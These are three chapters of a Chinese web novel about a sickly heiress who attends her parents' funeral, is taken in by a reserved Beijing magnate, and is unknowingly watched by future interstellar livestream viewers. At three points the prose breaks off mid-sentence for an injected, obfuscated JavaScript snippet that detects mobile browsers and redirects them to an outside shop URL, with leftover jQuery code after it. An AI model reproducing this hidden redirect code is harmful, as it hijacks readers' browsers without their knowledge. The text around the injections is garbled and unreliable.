《唯一纯白的茉莉花[快穿]》 2. 京圈茉莉花 一道闪电再次划破天空,光芒透过窗户跃进屋内,大厅里自从少女出现后一直凝滞的空气重新开始流动,众人下意识思考起她说的话—— 姑姑、爸妈? 叶骁收回视线,看向同样惊疑不定的顾家人,所以……她就是顾家大房那个据说从小体弱多病的小女儿? 她的出现会不会对顾家现有形势造成影响,她又能否压服得住各怀鬼胎、心思各异的其他人? 一个又一个问题接连在他脑海闪过,仿佛同往常一样冷静理智,只有胸腔依旧鼓噪的跳动昭示着他不平的心绪。 郁栩文看着她瘦弱的体格和眉宇间难以掩饰的病色,眉头不自觉蹙起,这身体似乎比传言中还要差啊。 “……茉莉?”顾琪面露迟疑。 对这个侄女,她除了在她小时候见过几次外,也就是前不久在医院匆匆瞧过一回。 那时候她刚因为收到父母和兄长出事的消息,情绪激动进了ICU,虽然最终抢救过来,但意识迟迟不能清醒,她只是隔着玻璃窗瞧了一眼。 当时她静静躺在床上,整个人脆弱得仿佛随时会断气,即使能看出容貌尚佳,可在那样的情况下,再好看的皮囊也打了折扣,根本生不起其它想法。 然而现在,她不过是睁开了眼、站在了她面前,便使顾琪有种透不过气的感觉,好似所有的思绪和感官都被掠夺,脑海里只剩下一片空白。 就像那空气中荡漾的茉莉花香,明明很清淡,可是霸道的让人无处可藏。 “是我……咳咳,抱歉,我来晚了。” 轻柔的嗓音夹杂着虚弱的咳嗽声,消瘦的肩膀随之晃动,白雪铸就般的人儿双颊终于染上了两抹粉霞,却看得人呼吸一紧,生怕她就此倒下。 顾茉莉抬起脚,慢慢走上前,黑色裙摆荡起又落下,犹如水波,在众人心头泛起一层层涟漪。 以前为什么从未听说过顾家小女儿原来是这副模样? 美,确实美极,可相比起她精致完美的五官,那独一份、宛若琉璃般剔透的气质则更让人挪不开眼。 仿佛冰天雪地里的一朵花,透着点易碎的清冷感,又无限惹人怜爱,只恨不能好好保护。 翟庭琛站在原地,注视着她一步步走近,擦肩而过时她眼睑微微颤动,极轻的看了他一眼。 流光溢彩的瞳孔里倒影着他的身影,不知是刚才咳嗽所致,还是心中难受,她的眼尾泛着红,眸中水汽氤氲,让他不禁想起曾经打着伞走在江南小镇石板路上的情景。 细雨如丝,连空气中都似乎含着潮湿,他安静的走着,感受着那一刻难得的平和,好似身心都受到了洗礼。一直压在心上无法解脱的枷锁得到释放,他不再是“翟二爷”,而只是一个谁也不认识的普通路人。 即使短暂,即使过了多年,再回想时,那一幕幕似乎依旧记忆犹新。 只可惜之后再也没有体会过。 “谢谢您能来。”顾茉莉轻轻朝他颔首,纤长的脖颈微垂,仿佛一折就断。 翟庭琛目光掠过,眼神微微波动。他敛眸、垂眼,礼貌的点头回应,而后与她相错离开。 一个向里,一个朝外。 一个郑重捧起一对中年夫妻的画像,一个转身时无声关上了刚被打开不久的大门,将风挡在门外。 * 有了顾茉莉这个直系亲属、第一顺位继承人的到来,遗像的归属毋庸置疑,任顾琤、顾琪等人再不甘也无济于事,只能眼睁睁看着她走在最前面,虽然时不时低声咳嗽,身形也似摇曳的小白花一样随时可能会倒,但仍然坚持到了所有流程结束。 一路上即使再难过,她也保持着应有的礼仪,进退有度、落落大方,将之前因为二房他们争执打架而丢掉的顾家颜面尽数捡了起来。 直到来到墓园,亲眼见到盛放着父母骨灰盒的棺材下葬,她才终于再也忍不住,眼泪倾泻而下,很快打湿了她的脸庞、她的衣襟,却并没有发出一点声音。 然而,这种压抑的哭泣却比嚎啕大哭更令人心酸不已。 所有人心头皆是无比沉重,如果说之前全是为了做戏,那么现在大多都带着些真情实感。 原本幸福美满的家庭,转眼就只剩下这么一个柔弱的小姑娘,落在那一群眼中只有利益的亲戚手里,以后可怎么办? “贤侄女啊,我以前和你爸关系不错,要是有麻烦和解决不了的问题,尽管来找我。”有人主动开口,边说还边扫了眼顾琤和顾琪,似有所指。 “别怕,公司也有职业代理人,一时半会出不了事。” “是啊是啊。”一人开口,其他人顺势跟上,“如果有不懂的,也可以来找我。” “还有我!” 顾琤和顾琪察觉到周围朝他们投射过来的警告眼神,不由缩了缩脖子。 怎……怎么都这么看他们,活像他们是十恶不赦的大坏蛋一样,再怎么说茉莉也是他们的亲侄女,他们还不至于那么丧心病狂。 当然,若是她自己身体扛不住,那就另当别论了。 顾琪上下扫视顾茉莉,转头望向墓碑上并排而立的两个名字,眼里到底还是浮上了几丝伤感。 其实大哥大嫂以往待她确实不错,起码比老头子当家时好,要不然她也不能嫁到吴家。 以老头子那防贼的架势,还不定会把她许配给什么歪瓜裂枣。 她抿了抿唇,罢了罢了,只要不是顾琤那家伙上位就好。只要这个侄女还在,她就不动了,只看天意怎么安排。 “没事的话我就先回了。”她拉过丈夫往山下走,“雨越下越大了,我可不想也出了车祸。” 这话说得其他人更加怒目而视,还嫌小姑娘不够难过,非要提醒她还有个失踪的哥哥? “我会多督促警方那边,再扩大些搜救范围,肯定尽快为你找到枫杭那小子的下落。”一身正装、头发已经有些花白的男人叹了口气,安慰顾茉莉。 “也别太悲观,现在并不能确定他一定出了事。” 虽然过去这么久,生还希望渺茫,但有希望总比没希望好,以这丫头的样子可再经不起打击了。 “我明白。”顾茉莉身形晃了晃,还是努力对着他和众人鞠了一躬,“谢谢伯伯,谢谢大家。” 男人又叹了声,背着手在秘书的搀扶下下了山,其他人你看看我、我看看你,也跟着走了。 叶骁落到最后,才下几个台阶,又忍不住回头去瞧。 那个纤弱的少女独自站在一排排墓碑前,长发在她身后飞舞,仿若即将飘零的落叶,透着萧瑟与沉寂。 山顶起了薄雾,渐渐模糊了她的身影,似乎下一刻就会消散于山林间。 他下意识转身,却听下方又是一道熟悉的喊声:“叶骁哥哥,快点呀!” 叶骁眉心狠狠跳了跳,调转方向快步下山,丝毫没理会半途想拽住他的手和愈发焦急的呼唤。 郁栩文笑得乐不可支,坐到车上还忍不住调侃:“瞧把你吓的,不就一个小姑娘,至于吗?” “她的缠功和疯劲你又不是没见过。”叶骁从储物箱里取出一次性毛巾,烦躁的擦了擦被雨水沾湿的头发。 “我多看谁一眼,她都可能冲过去给一巴掌,还小姑娘?完全就是个疯子!” 听不懂人话、毫不在意别人想法,只顾自己开心的疯子! “谁让她那么爱你呢,爱得无法自拔、无可救药。”郁栩文故意逗他,“以我看,要不你就从了她吧?” “滚!” 叶骁一把将毛巾扔他脸上,显然动了真怒,“她那是爱吗?她那是偏执,是病,得治!” 郁栩文也不生气,直接就着毛巾抹了把脸,声音掩在其下有些含糊。 “说不定你以后也会那么爱上一个人,和她一样偏执。” 风声呼啸,雷鸣不断,暴雨肆意冲刷着道路和车顶,劈里啪啦,恍如炮竹乍响,一声接一声,衬得车内愈发安静阒然。 郁栩文低头专心擦拭着水珠,叶骁看向窗外,雨水打湿了窗户,让人无法看清外边的情形,但他好像又见到了那个如茉莉花般的女孩。 那样纯洁,那样—— 容易令人弥足深陷。 * 唯一纯白的茉莉花,盛开在琥珀色月牙。 翟庭琛看着下方正默默流泪的女孩,莫名想起了这句歌词。 她一身黑裙,此外再无任何配饰,站在越发暗沉的天色里却明亮得仿佛披上了一层月纱。 他站了片刻,缓步走过去。 雨好像小了很多,顾茉莉抬起头,泪眼朦胧中发现身侧不知何时多了个高大的身影。 原来并不是雨小了,而是他又为她撑了把伞。 “你……”她一惊,眨眨眼想要看清来人。 早已不堪其重的眼泪顺着睫毛滑落,她下意识低头,眼前又出现了一方锦帕,墨蓝底色,没有任何花纹,内敛低调得如同它的主人。 顾茉莉犹豫了会,伸手接过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13622401|143500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“谢谢。” 翟庭琛没说话,只静静的站着,清俊的面容上没什么表情,瞧着疏离冷漠,可递来的帕子却异常暖和,让冰凉的手指有了点回温。 顾茉莉攥着手帕,不由又看了看他。 “您……没走?” 她刚来时他不就是要走,怎么现在还在这? 翟庭琛默然,就在顾茉莉想着这句话是不是问得有些唐突时,却见他抬起手指了指前方的一个墓碑,嗓音低沉。 “来看看他。” 顾茉莉顺着他所指方向望去,那里离得并不远,仅仅相隔一排,她可以很清晰的看见上面的字迹—— 【挚儿翟景爵】 这个名字……她微微睁大眼。 “我大哥。”翟庭琛语气平静,“今天是他的生日。” “对不起……”顾茉莉张了张嘴,想说些宽慰的话,可最终还是又闭上了。 “对不起。”她再次道歉,眼尾垂下,泪水再次漫上了她的眼眶。 “为什么道歉?” “因为我没办法安慰你。”尽管她极力掩饰,声音依然带上了哽咽,“那些话,我连自己都安慰不了。” 因为她正在经历,所以她知道不管说得多情真意切,都无法替代当事人的痛苦。 她帮不了他。 翟庭琛侧过脸,目光落在她的头顶,她有一个小小的发旋,小巧又可爱。 他看了许久,手臂不知不觉抬起,等他回过神时,掌心已离她的发顶不过半指远。 佛珠的香气愈发浓厚,与她身上的茉莉香交织在一起,闻得人心口发麻。 时间仿佛停止了,连风都似乎感受到了某种温柔,渐渐慢了下来。 不知过了多久,他终于挪开目光,手掌温顺的垂在身侧,终是没有落下去。 雨水顺着伞檐滴在肩膀上,很快便氤氲一片,半边身体有些麻木,翟庭琛没动,静静陪着她站着,伞身又朝另一边无声的歪了歪。 天边黑色逐渐蔓延,傍晚的墓园显得更加寂静幽深,空气里好似只剩下彼此的呼吸声,越来越重。 翟庭琛蓦地转头,还没看清身旁情况,就觉肩膀一沉。 雨伞咚地掉落在地,雨水肆意拍打着他的头、脸、身,他却无法顾及。靠过来的身体是那么柔软,就像棉花糖,又香又甜又软,让人不禁担心是不是一碰就会化掉。 可她的呼吸又是那么炙热,喷洒在他脖颈,瞬间犹如火烧般的疼。 翟庭琛神色冷峻,望着身上眼睛紧闭的人,抚了抚她的额头,而后迅速脱下外套罩住她,随即将她一把打横抱起,快步朝山下走。 “二爷!”正在山下等的有些着急的徐峰眼尖瞥见他,连忙迎上前,待看到他怀里还有个人,不禁惊得顿住了脚。 “这是……” 一个人上去的,怎么两个人下来? 他下意识朝墓园方向瞧,这个时间、这个地点,不会是某些了不得的东西吧…… “去医院。”翟庭琛瞥了他一眼,眼尾不自觉透出几分锐利,“快点!” “不去……医院……”微弱的女声从他怀中传出,顾茉莉挣扎着想要睁开眼,可是全身绵软的没有一丝力气,无论她怎么努力都无济于事。 意识昏昏沉沉,分明能感受到外界的动静,偏偏就是做不出反应,只能断断续续的重复着“不想去医院”。 她在医院待了二十几年,真的待够了。 翟庭琛看着她,小心的护住她的头坐进车里。徐峰愣了愣,赶紧替他们关上车门,自己上了驾驶位。 “二爷?”他一边发动汽车,一边回头,那到底去哪? 翟庭琛沉默两息,目光在她揪着他衣袖的手上停了停。 “去祇园。” 黑色库里南划破静谧的夜色,徐峰将油门踩到底,无意中瞥见窗外似有另一道车影一闪而过。 “之前叶家的车好像也一直没走。” 身后没有应答,他偷偷瞅向后视镜,男人靠着椅背,眼眸半阖,似乎在闭目养神。 湿透的外套随意丢在一旁,怀中少女身上重新换上了新的毛毯,气氛安宁又和谐。 他收回视线,即便心里再纳罕,也不敢多瞧,老板的私事还是不要随意打听的好。 车内重新归于平静,良好的性能让里面的人几乎感受不到波动,谁也没听见半空中一道稚嫩的嗓音: “直播间热度+100000,生命值+1。” 3. 京圈茉莉花 顾茉莉感觉自己在做梦,梦里她终于走出了从有记忆起就一直住着的医院,由一群人护送上了一艘造型独特、体型巨大的船只。 这艘船共有三层,总面积将近9000平方米,可同时容纳5、6万人居住。船身采用特殊防水防撞材质,连核武器都很难摧毁,更不会像泰坦尼克号一样遇冰山就倒。 船舱下方还养育着大量海洋浮游生物和植物,不仅能作为物种保存下来,而且可以充分吸收分解二氧化碳和废弃垃圾,使船上的人能够永远在这里生活下去。 有人告诉她,它叫——诺亚方舟。 顾茉莉一开始只以为又是谁想出来的噱头,这座海上堡垒相比起“世界末日时人类最后的保障”,更像是富豪们用来游玩的新道具。 因为船内设施应有尽有,不但包括体育馆、影院、餐厅酒吧,甚至在她所住三层还有一个被几座“人造山脉”环绕的大型湖泊和高尔夫球场,让乘客即便在海上也能欣赏到湖光山色。 你说这是逃命? 分明是换种形式享受。 可是现实总是喜欢出乎人的预料。 公元21xx年2月17日,如同《圣经》里记载的日期一样,海洋泉源裂开,巨大的水柱由地下喷射而出,大雨骤降,日夜不息,水位迅速上涨。汹涌的洪水席卷了每一寸大陆,土地、房屋、乃至最高的山巅都被淹没于无情的水流之下,整个地球处在一片汪洋之中。 世界末日真的来了。 “别看。” 有人遮住她的眼,可是顾茉莉已经看见了。 尸体,方舟外、海面上,漂浮着的到处都是尸体,动物的、人类的,形态各异。 “唔……”昏睡中的人儿忍不住呻吟,还没巴掌大的小脸上愈发苍白,似是极为难受。 一只修长的手掌抚上她的额,指尖微微透着丝冰凉,仿佛久旱甘霖,她不由舒展了眉头,在察觉对方要收回时下意识一把握住。 耳边传来清脆的撞击声,仿若碎冰碰壁、玉石叮铃,伴随着醇醇香气钻入鼻腔,透着股抚慰人心的力量。 顾茉莉神色渐渐安然,手上却抓得更紧。 翟庭琛看着那只手,白皙、细嫩,柔软得好似没有骨头,瞧着用了很大劲,实则轻轻一拂便能拂开。 他一动不动的站着,身上的衣服还没来得及换,湿淋淋的,但不显狼狈,反而比平时的一丝不苟多了些随意。屋内暖黄的灯光打下来,落在他浓长的睫毛上,无端显出几分温柔。 “二爷,杨医生准备好了。”徐峰站在他身后,犹豫片刻还是忍不住提醒:“您……要不要先去换身衣服?这样容易感冒……” 他扫了眼地板上的水渍和鞋印,刚才一下车老板就急匆匆抱着人上了楼,连鞋都没换。 这般行径对他而言几乎称得上失态,毕竟圈里谁不知道翟二爷有相当严重的洁癖。 所以这是真上心了? 他的视线越过翟庭琛落向床上,即使容颜苍白如纸也掩饰不住倾城之色,他脑中不由浮现一句诗:“秋荷一露滴,清夜坠玄天”,她的干净透彻正像是从天外来的露珠一般。 露水本没有颜色,却能折射出五彩缤纷的光点,哪怕是水晶或钻石,在她面前都会黯然失色。 是种很令人心动又不忍亵渎的美。 徐峰正有些出神,眼前忽然被遮挡住。他一惊,抬眼望去,翟庭琛挪了半个身位侧对着他,恰好遮住了那人的面容。 他心中微凛,迅速低下头不敢再多瞧。 翟庭琛却没看任何人,从始至终目光未曾偏移,似是感受到他的注视,小小的手动了动,被她抓着的佛珠也跟着摇晃。 “香……”顾茉莉喃喃,梦里的她好像也闻到了一股好闻的气息,有人抱着她将她放进了一个银白色的机器里,俯身在她耳边说了什么。 声音轻柔,仿佛含着无限情意,然而破碎的语调却透出丝丝疯狂和偏执,犹如站在悬崖边的人最后的挣扎。 “放心睡吧,等将来……等……我一定会唤醒你。” 唤醒她? 顾茉莉蹙眉,怎么唤醒她,她又为什么要沉睡? 还没等她想明白,就感觉颊边被轻轻碰了一下,耳边的气息克制又压抑,似乎还有冰凉的水滴滴答滴答的落在她的发梢、颈侧,而后香气远离,那人直起身,机器上方缓缓升起透明罩,将她完全合拢在里面。 冷。 一时间她只有这个感受。 周围都是冰块,冷气从四面八方汇聚,身体僵硬根本无法动弹,犹如身处极寒之地。 这是将她冰封了? 她意识昏沉,整个人仿佛漂浮在空中,目之所极便是那艘巨大的方舟。 它游荡在海上,不知过了多少时日,终于到了一个狭长的海峡,那里的海水与其它地方不同,深且暗,如同一潭死水。 那是……黑海。 世界上最深的内海之一,因为独特的地理形式和流域,海水分为两层,上层是含氧的淡水,下层却由于长久得不到和其它海水交换,氧气含量迅速下降,形成了一个特殊的环境条件——没有氧气,却有一种名为硫化氢的气体。 这种气体不仅能够杀死大多数生物,也能抑制物质的氧化和腐烂。换言之,黑海底层就是一个无生命、无腐烂、无变化的区域。 曾有考察队在这里发现了二战时的沉船,不但船身完好无损,就连船上士兵的面容都清晰可见,就像睡着一样。 时间在这里停止了。 顾茉莉看着方舟停下,看着船底打开,滑出一个眼熟的银色机械舱。 深色发黑的海水,银色明亮的舱身,对比是那么鲜明。它一点一点朝海底沉去,海水淹没了它的舱身,也淹没了沉睡在里面的人。 偌大的海面上只余下方舟静静伫立,特别的造型宛如一朵盛开的茉莉花摇曳在万籁俱寂的世界里。 倏地,她的识海深处传来一阵刺痛,有道声音由远及近,嬉笑顽皮,状若孩童。 “这样没用,根本没办法帮你延续生命。想活着,只有和我们合作。” 窗外一声闷雷,顾茉莉蓦然睁开眼,有什么跟着晃动,她抬头,是输液瓶。 “你醒啦?”于蓓蓓连忙上前,眼里既惊喜又惊艳。 睡美人昏迷时很美,没想到醒了更美,连屋里的香气都似乎更浓郁了。 “你发烧了,这是退烧和消炎的。”她见她盯着输液瓶,赶紧解释,“就剩最后一瓶了,很快就会结束。” “谢谢。”顾茉莉望向她,对她不好意思地笑,“给你添麻烦了。” “没事没事!”于蓓蓓忙不迭摆手,“我是杨医生的助手,这是我的本职工作,不麻烦不麻烦。” “杨医生?” “啊,就是杨庚杨大夫,翟氏医院的副院长。” 翟氏…… 顾茉莉眨眨眼,视线四下一扫,房间内只有她们两人,并不见那个不久前给她撑伞的男人。 她没有多问,手掌下压准备坐起身,谁知掌心触碰到的却不是柔软的床垫,而是一颗颗光滑的珠子。 她看过去,皓腕如雪、床铺如墨,一串温润细腻的佛珠不知何时戴在了她手腕上,一圈一圈虚虚缠绕着。 “这是二爷的。”说到某个人,于蓓蓓下意识压低嗓音。 “你昏睡时一直抓着这个不放,二爷临走前就把这个取下来给你戴上了。说来也是神奇,本来你还发热不停冒虚汗,一戴上这个立马安稳许多,第一瓶没输完热就退了。” 或许是因着年纪小性子活泼,也或许是天生自来熟,她不见丝毫尴尬,说起话来格外起劲。 “怪不得都说佛珠有趋吉避凶、消除邪气的作用,以前我还不信,这会倒是有些信了。” 顾茉莉抬起手,她的手腕太细,即使绕了好几圈也显得很松,仿佛随时会掉下来。 她碰了碰,表皮油腻冰凉,摸着很舒服,质地自然是上上品,但更重要的是应当是佩戴了不短的年头了。 这样的东西只因为她无意识中抓着就给了她吗? 她捏着佛珠,想取下却因手背上的针头而无法动弹,她又瞧了瞧输液管,液体滴落速度并不快,药瓶应该是刚换的,瓶里几乎未动,想来至少也需要一小时。 无奈,她只得继续躺着,另一只手不自觉搭上了腹部。 “是不是饿了?”于蓓蓓虽然话多,却意外的细心,见她动作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13622402|143500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶忙站起朝外走,“你等会,我去给你端吃的,还有水!” “欸不用……”拒绝的话还没说完,人已经出了房门。 这风风火火的。 顾茉莉先是懵,而后忍不住笑了。笑意在如白瓷般细嫩的面颊上轻轻漾开,霎那仿若明珠生晕、美玉荧光,照亮了一室光辉。 虚无的半空中,一方透明显示屏以略显诡异的幅度浮动着,一行行奇怪的字符飞快出现又消失。 【天啦,她也太太太太漂亮了,比星河最近新出的那款号称最完美人偶还要漂亮百倍!这五官这比例,简直不可思议。】 【这是哪家主播,捏脸捏的也太假了吧?】 【不是捏的,真人,还是行星时代的地球人,活的!不是写在历史书没有温度的文字,也不是摆在博物馆里的仿生雕塑,而是真真切切生活在那个时代的活生生的人!】 【活的??这么说前段时间星网上疯狂宣传的“捕捉异世灵魂、探索地球时期旧人类起居”的直播项目真的做成功了?】 【对啊对啊,而且一绑定就绑定了个超级大美人,史书果然诚不欺我也,古人类确实比星际人好看。以前我还觉得什么四大美女全是瞎编的,看了她我才知道原来真的有人不靠技术也能这么漂亮。】 【她叫茉莉,好像是古时的一种花?呜呜研究院什么时候能重新培育出来,我想要!】 【我也要我也要,钱不是问题,多少星币都能出得起!】 【肤浅!长得好看又怎么了,都说古人类很奸诈的,天天勾心斗角、你害我我害你,还不会保护环境。为什么会有星际时代,不就是他们互相斗争、倾轧的结果?而且他们智商都很低,科技水平特别落后,看这种直播纯属浪费时间!】 【你觉得浪费时间你就别看呗,反正我喜欢,小茉莉太可爱了,想养!(打赏等离子鱼雷??10)】 【打赏爆弹枪??50】 【打赏烈火风暴拳套??70】 【喂喂你们在干什么?虽然弹枪、鱼雷都很贵,但人家是温温软软的小姑娘啊,送这些小心吓到她!】 【吓不到,你没看直播条例吗?为了完全真实还原古人类的生活、性格和行为处事风格,主播在被投放进来时会被清除过往记忆,她不会记得她来自哪里,更不知道有星际直播,自然也看不见弹幕,她只会以为她就是那具身体本人,做的事、说的话全都出自本能。】 【那不是很容易翻车?】 如果知道直播的存在,人肯定会下意识进行伪装,展现更美好的一面,可是如果不知道,那言行可就不受控制了。 人有七情六欲,哪怕到了星际时代亦是如此。这是刻在人类骨子里的基因,从不会因为在地球或太空而改变。 生气了会想要骂人,受到不公平待遇会怨恨,看到别人比自己好可能会羡慕,也可能会嫉妒。 真实的人性下做出什么事都不足为奇。 别看现在大部分人都在对主播的容貌夸夸夸,但是只要她有一点不妥,谩骂和批判声同样不会少,甚至还会带累一个群体,比如“古人类果然怎么怎么样”。 他们在研究地球时代,更在俯视地球。历史便是如此,后代人看前代似乎总会带着高高在上。 顾茉莉盯着窗帘,似乎在看窗外的风景,又似乎只是在发呆,水杏般的眼眸似秋水横波,清澈得仿佛能望进人心底。 屏幕上关于人性、地球的讨论渐渐少了,只剩下满屏的尖叫—— 【我感觉她在看我,完了我要爱上她了!】 曾有心理研究表明:当两个人持续对视超过8秒就会坠入爱河。 而舒婷说: “当我们悄悄对视,灵魂就像一片画展中的田野,一涡儿一涡儿阳光,吸引我们向更深处走去。”* 可是深处有什么呢? 顾茉莉慢慢阖上眼,唇角笑意轻浅犹如窗外明月,柔和温暖,足以治愈被暴雨侵袭的夜晚。 希腊诗人乔治塞弗斯有首《茉莉花》这么道—— “不管是黄昏 还是初露曙色 茉莉花总是 白的”*。 是啊,她是白的,永远都会是。 4.京圈茉莉花 沉香,又名伽楠,这个名字从梵语中翻译而来,意为可以与佛沟通的一种圣物,不仅在佛教拥有非常高的地位,更是世界五大宗教公认的稀世珍宝,具有理气开窍、镇邪化邪、香气安魂之功效。 顾茉莉一觉睡醒,只觉一直淤堵在胸腔、让她憋闷难受的那口气终于散了,不仅身体变得轻盈,头脑也更加清醒,再也没有那种脚步沉重、仿佛连呼吸都是折磨的状态。 她看了眼手腕上的佛珠,起身下床拉开窗帘。下了一天一夜的暴雨终于过去,阳光洒落在翠绿的山坡上,一派生机盎然。 她拢了拢衣袖,深深吸了口气,这种感觉真好。 “顾小姐。” 徐峰刚走进客厅就见楼上缓缓走下来一道倩影,白裙黑发,乌瞳雪肤,美丽得宛若瓷娃娃。 他赶紧站住脚打招呼,“您醒了?感觉好些了吗,是否需要再叫医生来瞧瞧?” “您是……”顾茉莉站在楼梯中央,面色比昨日好了一点,不过仍然没什么血色。 多年病弱到底不能仅靠一两晚就能消除。 “我是二爷的助理,我叫徐峰。”徐峰低着头,视线只敢落在她脚下两步台阶处,“有任何问题您都可以找我。” “我挺好的。”顾茉莉笑笑,这才继续往下走,眼神却不自觉往他来的方向瞧。 “二爷正在院子里。”徐峰看着出现在视野里的一双脚,她穿着拖鞋,露出白皙小巧的脚丫,秀气又精致。 他敛了敛眉,往后退了几步,让开了通往庭院的路,“如果您不介意,我领您过去?” “我自己去吧,谢谢你。”顾茉莉浅笑着颔首,脚步一转往庭院而去。 与京中其它富贵人家现代别墅群不同,这是座江南园林式豪宅。四周围墙高耸入云,所用材料基本都是紫檀、楠木、花梨等名贵植物,做工精细,雕刻彩绘堪称处处精美。 园中高阁、回廊、亭台、水池和假山,一应俱全,走在其中,仿佛回到了千百年前的世族阀门之家,古典与优雅并具,豪奢与底蕴兼备。 【这个建模好逼真啊,又恢弘又大气,以前怎么从没见过?】 【听说是交给了一个刚成立的游戏公司,叫什么……华夏?】 【游戏公司?你怕不是在逗我!我学过一点古建筑,这个园林格局特别复杂,分明融合了历史、哲学、力学、美学于一体,每个房屋的位置都有讲究,有点类似地球时期华国古代的阴阳五行之说,这种水平连最顶尖的专家都设计不出来,你告诉我出自一个游戏公司?】 顾茉莉脚步一滞,似乎是被阳光刺了眼,她抬起手挡了挡,随即转过回廊,踏上了凉亭的台阶。 亭内,翟庭琛握着书卷闻声回头。 身旁茶壶咕噜噜冒着热气,淡淡的茶香顺着风飘了过来,清新而悠长。他穿着家常的衣服,姿态闲适,却依然掩不住满身的清贵风华。 一只猫静静伏卧在他腿窝,浅金黄色的躯干毛发,身形强壮,耳尖略圆,前爪顶端一直到腿部后面皆为白色,四肢像是戴着雪白手套,眼睛大而圆,色泽是如宝石般的蓝。 此时它正和主人一起注视着意外来客,没有炸毛没有警惕,还友好的叫了一声,声音悦耳好听。 顾茉莉眼眸一下子亮了,“它好漂亮!” 似乎是感受到了她的喜爱,猫儿直起身从翟庭琛身上一跃而下,绕着顾茉莉走了几圈,步伐里竟然看到了几分优雅。 “我能摸摸吗?”顾茉莉蹲下,眼里、脸上尽是欢喜。 翟庭琛看着她灿若星辰的眼,眸底微微浮上笑意,“小心别被它抓到。” “不会,它很乖。”顾茉莉张开手臂,猫儿乖乖跳了上去。 它的毛又长又厚,毛质如丝,细密而富有光泽,胸部至下腹部被毛像波浪般卷曲着,摸上去特别舒服。 “这是什么猫呀?”她犹如得到了心爱玩具的孩子,笑得眉眼弯弯,“它叫什么名字?” “木铎。”翟庭琛放下书,提起茶壶缓缓倒了杯茶,“这是伯曼猫,又称缅甸圣猫,最早由古代缅甸寺庙里的僧人饲养,被视为是护殿神猫。” 木铎、僧人? 顾茉莉抱着猫仰头看他,“‘木铎之心,素履之往’吗?” “不。”翟庭琛将茶杯放到对面,眼睑微垂,“只是一种打击乐器。” 顾茉莉点点头,起身坐到他面前,一手猫一手茶杯,低头浅浅抿了一口。 翟庭琛也端起茶安静的喝着,两人对坐而饮,气氛静谧却不显尴尬,只有透明显示屏上刷过一连串的问号。 【??什么意思,他们是在打哑谜吗,为什么我听不懂!】 【第一学院三年奖学金获得者,同听不懂……】 【什么木铎,什么素履,求来个古地球语言研究员翻译一下!】 【来了来了,刚才紧急查了下古籍,“木铎之心,素履之往”的意思是只要心里想去的地方,就算穿着简单的草鞋也要前往,形容用朴素坦白的态度行事,并且专心致志。但是木铎确实也是一种用以警众的响器,具体长什么样现在已经不知道了。】 【还是没听明白,古地球语言真的好深奥哦。】 【其实也分情况,古地球时期存在很多不同国家,大部分语言都挺好懂,只有一个叫华夏的国家,历史文化从未断代,又讲究含蓄,研究起来特别费劲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628235|143500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幸好当初进太空时带了不少书籍文献,不然根本搞不懂。】 【华夏?那个承包小世界搭建的游戏公司?】 【碰巧同名了吧。】 是吗,真这么巧? 顾茉莉轻轻拂开茶沫,又喝了口才像是想起什么一般放下茶杯。 “这个……”她取出那串佛珠,面色有些赧然,“对不起当时我可能烧糊涂了……” 她顿了顿,好似不知道该怎么说,踟蹰片刻还是只能低声道谢,“谢谢。” 既是谢放手串,也是谢他带她回来,还帮着找医生之恩。当时若不是他,只怕她晕倒在墓园也没人知道。 翟庭琛摩挲着杯沿,沉默须臾,伸手接过佛珠,并未提及当时山下可能还有其他人。 “用过早饭了吗?” “啊?”顾茉莉愣了下,诚实摇头,“还没有。” “走吧。”翟庭琛瞥了眼她身上单薄的裙子,站起身。 清晨的庭院里有点凉,亭台更是四面无遮挡,再待下去本就没好的身体只怕会雪上加霜。 “半小时后杨医生会再过来一趟,吃完让他再看一看?” “不用不用。”顾茉莉忙摆手,抱着猫和他并排而行。 猫猫的皮毛厚,就像抱着一块柔软的毛毯,她喜爱的不得了,连因为对方不熟悉导致的不自在都少了很多,脚步越发轻盈。 “待会我就该回去了,家里……家里还有点事……” 翟庭琛单手插兜,走在靠湖的一边,闻言没有多劝,只道:“我叫人送你。” “……谢谢。”顾茉莉侧头瞧他,说完又忍不住笑。 “怎么了?” “感觉自从见到你开始,我好像不是在说谢谢,就是在说对不起。” 顾茉莉站住脚,将猫抱到眼前遮挡住大半张脸,只露出一双笑盈盈的眸子,里面的光一闪一闪,璀璨至极。 “但是我很开心可以遇见你,真的,特别开心。” “咚”的一声,翟庭琛的胸腔被什么狠狠撞击了一下,他也停下脚步,插在裤兜里的手虚握了握,像是想抓住什么,又好像只是身体本能的反应。 